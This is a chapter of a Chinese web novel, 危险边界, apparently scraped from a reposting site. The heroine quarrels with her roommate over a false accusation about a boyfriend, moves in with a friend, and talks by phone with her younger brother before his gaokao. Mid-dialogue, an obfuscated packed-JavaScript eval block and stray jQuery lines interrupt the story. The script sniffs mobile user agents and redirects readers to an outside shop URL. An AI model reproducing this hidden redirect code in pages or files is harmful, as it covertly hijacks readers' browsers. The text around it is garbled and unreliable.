55. Rose.55
作品:《危险边界》 原以为只要尽可能地远离她就能避免祸事,谁知有一天下午从舞社回来,突然就见她一拍桌子瞪着自己。
被她白眼相对那么久,付黎之脾气也上来了:“你又在跟谁耍脾气呢!”
左琪如哼笑一声:“我都还没开口,你倒好意思说上了。”
付黎之懒得理她,收回视线,骂了一句有病后,正要回自己的位置,却被她一把拽住:“我话都没说完呢,你心虚什么啊。”
付黎之简直觉得她在胡搅蛮缠:“我有什么好心虚的。”
闫静刚从卫生间出来就看到这副场面,赶忙上前来分开两人。跟左琪如待久了,闫静也对她的性子有些不耐了,直接冲着她说:“这又发生什么事了,她也没碰你东西也没怎的,好端端的怎么就突然闹起来了。”
左琪如抱臂,音调拔高地指责道:“说得好像我乐意和她闹一样,要不是她不知廉耻地抢别人男朋友。”
付黎之听笑了:“我抢你男朋友?抱歉啊,我眼睛没瞎,看不上那疙瘩脸!”
“看不上你还勾引他!”左琪如就知道她要否认。
“我勾引他什么呀!”付黎之越说越恼,“我这学期连他面都没见过!”
左琪如自然是不肯信:“嘴上说得漂亮,谁知道你背地里是不是一个劲儿地给她发暧昧消息,你要没这么做,他之前怎么会经常把你挂在嘴边,怎么会跑去舞房偷看你跳舞,怎么会跟我分手!”
在听到她说应俊豪去舞房偷看自己跳舞的那一刻,付黎之一阵反胃,一张小脸皱得紧巴巴的,连体面都顾不上了:“他大爷的,他有病吧!”
左琪如呵了声:“现在又这副欲盖弥彰的样子装给谁看呢。”
“谁欲盖弥彰啊,懒得跟你沟通,费劲!”
她要走,但左琪如不肯让他走:“你没做那你敢不敢把你和他的聊天记录翻出来看啊。”
付黎之无力地闭了闭眼:“我压根就没有他微信!”
她直接点开自己的好友列表,一溜滑下去给她看。
其实在看不到应俊豪的微信好友时,她就已经知道是自己误会了,但她还是要面子,嘴硬地说:“谁知道你是不是提前删了。”
付黎之真要被她逼疯了:“烦死了!跟你这种人待在一起怎么那么折磨人呢,别怪我说话恶毒,就你这种性子,活该你被甩!”
左琪如一听顿时又怒上心头:“你还说你没和我男朋友纠缠到一起!”
“他爱和谁纠缠和谁纠缠!”付黎之深吸了口气,努力保持平静说:“我是懒得和你纠缠了。”
说罢,她直接拿出手机拨通许添添的电话:“喂,二添,你那边还方便住人吗?”
“碰到事了?”对面传来一句,但很快又察觉到她语气的不对劲,立马说:“方便的,你什么时候要搬东西,我过去帮你一起。”
付黎之沉着气说:“没事,你地址发我,我自己搬过去就行。”
电话挂断,她直接甩开左琪如拉着她的手,搬出自己的行李箱就开始收拾东西。
闫静见状,赶忙问道:“黎之,你要搬出去?”
付黎之直白地说:“不想跟疯子住一起。”
左琪如一听正要破口大骂反击回去,付黎之突然转过身来警告她说:“别忘了你还损坏了我一个小提琴没赔呢,我想起诉你随时可以起诉。”
她这话只是吓唬她的,毕竟那小提琴她早就扔了。但左琪如听进去了,又知道她家里有多有钱,一下不敢吭声了。
因为东西实在太多,她就带了些必要的衣服还有课本过去,剩下的打算明天请个阿姨过来直接清了,反正不重要的东西再买就行。
车子停至许添添的公寓楼下时,许添添已经在那等着了,帮她将行李搬回公寓后,她皱着眉问道:“怎么回事啊,又欺负你了?”
付黎之一下没绷住哭了出来:“她怎么那么烦人啊,一句人话都听不懂的!”
许添添轻拍着她的手背安抚道:“没事没事,以后不用再受气了。”
“神经病!”付黎之越想越委屈,“自己男朋友跟个变态一样,还一个劲儿地污蔑人!”
“变态?”许添添脸色瞬间变得严肃起来。
付黎之想想就恶心:“他一直偷看人跳舞,我以后再也不去舞房了!”
闻言,许添添脸色已经很难看了:“直接去和你们导员说!”
付黎之哽咽地摇摇头:“那区域是公共的,我就是纯膈应他。”
许添添叹了口气,拿纸帮她擦了擦眼泪说:“不哭了,你来前我还去买了两杯奶茶,先平复一下心情。”
说罢,她起身去冰箱将两杯奶茶取了出来,还顺道帮付黎之插好吸管。
付黎之后背倚着沙发,双手捧着奶茶慢慢喝着,情绪也逐渐缓和了下来。
蓦然,手机铃声响起,是付遇衍照常打来的电话。
接起后,对面如往常一般问道:“今天过得怎么样,再过两天是不是要期中考了?”
本来心情都缓解得差不多了,只是一听到他的声音,那股子酸楚又立马涌了上来,声音不自觉地抽噎起来。
对面语气瞬变,有些着急地问:“怎么哭了?受委屈了?我…”
知道他要说什么,付黎之立即打断:“你不准过来,你过来我就再也不理你了!”
付遇衍沉默一刻,才缓声问:“和舍友吵架了?”
付黎之嗯了声,补充道:“我搬出来了,现在和二添在一块儿。”
“那就好。”他的语气莫名地弱了下去。
随后陷入漫长的沉默,他一瞬开始怀疑自己让她去怀州的决定是否正确。但事已发生,他无声地叹了口气,继续说道:“我后半阶段基本就剩复习,如果…”
只是话没说完,再次被付黎之打断:“我都说了不准,你就安心在学校待着,我又不是三岁小孩,也不会任人欺负,况且她就打打嘴炮,我也没受到什么实质性的伤害。”
生怕他再坚持,她忙说道:“好了,不和你说了,我要收拾东西了。”
手机放下时,许添添看着她,问道:“弟弟?”
付黎之点头:“他想过来陪我,都要高考了怎么可能让他这么胡闹嘛,简直比我还不懂事。”
许添添眼中闪过一丝不明的意味,若有所思地说:“弟弟还挺关心你的。”
“我知道。”付黎之说,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942932|188678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“但就是因为这样,所以才不能耽误他啊。”
她可做不出来恩将仇报的事情。
许添添抿了抿唇,注视她几秒,心里的话还是没有说出口,只是提醒道:“先整理下东西吧,我帮你一起。”
付黎之将眼泪擦干后,随她进了房间。
许添添租的公寓是两室一厅的户型,但其中有一间被她当作书房来用,卧室就只剩下一间,好在床铺够大,能容纳得下两人。
付黎之上前拍了拍床,垫子很软,她叹了口气说:“早知道你这床这么舒服,我就早点搬过来了。”
许添添不明显地弯了弯唇:“可别说我没劝过你啊。”
整理到一半,付黎之拿出手机点开外卖软件问:“晚上吃什么,我请你吃。”
许添添也不跟她客气。
东西收拾好后,外卖就到了。
吃饭时,许添添问:“那你后续就不再回去了?”
“除非她搬走。”付黎之气鼓鼓地说,“我可不想整天跟她待一起受气。”
许添添点了点头,又问:“那你学校里…”
她话没说全,但付黎之知道她的意思,坦荡地说:“放心吧,她说我坏话也不会有人信的。”
左琪如平常时和班里同学的相处本来就少,又经常翘课的,几乎是一颗心扑到学生会那边去。
“况且她说我抢她男朋友谁会信啊,那肥头大耳的。”付黎之说着,手掌还放在鼻尖处蜷了蜷,做出一个嫌弃的动作。
许添添难得笑出声:“大小姐也算是经历了社会的毒打了。”
付黎之闻言,无力地闭了闭眼,小脸都拧成了苦瓜状。
*
寝室里剩余的那些东西,隔天付黎之上完课就直接雇了个阿姨过来帮她全部清走。
每天几乎都碰不着她面的,付黎之感觉生活一下变得清净了。
闫静有时候还会在微信上和自己吐槽左琪如的情况,说她整天和应俊豪在寝室里上演他逃她追的绝世虐恋。
付黎之也是没想到,自己都搬出来了,寝室里还有此等祸事。
但好在也烦不到自己身上来,就只当是个笑话乐一乐。
因为社团的舞房与学生组织的值班室就在同一栋楼里,再加上那房间又是学校提供的,他们也没资格去管不让谁进,经上次得知的那一事,付黎之索性就没再在那里练过舞了。
之前因为寝室空位小,再加上和舍友认识不到很久,没熟到可以在他们面前练舞的程度,所以总是跑舞房去。但她在许添添面前无论做什么都不会觉得尴尬,而且许添添大多数时间都泡在书房里,客厅就腾出来了,偶尔想练练舞时她就将东西往旁边搬清出一块区域来。
虽然当初许添添一再说不用她交房租,但是付黎之良心过意不去,还是直接预支了半年的费用。
清闲的日子就这么一直过到了六月,等到临近高考的那段时间付黎之的课已经变得很少了,想着付遇衍高考肯定是不会拜托爸妈去照顾他一番,但这种关键时期又得有人去照看下他的情况,以免身体突然不适也没人照顾的。
想了想,她还是请了三天的假,7号当天直接飞回平州。

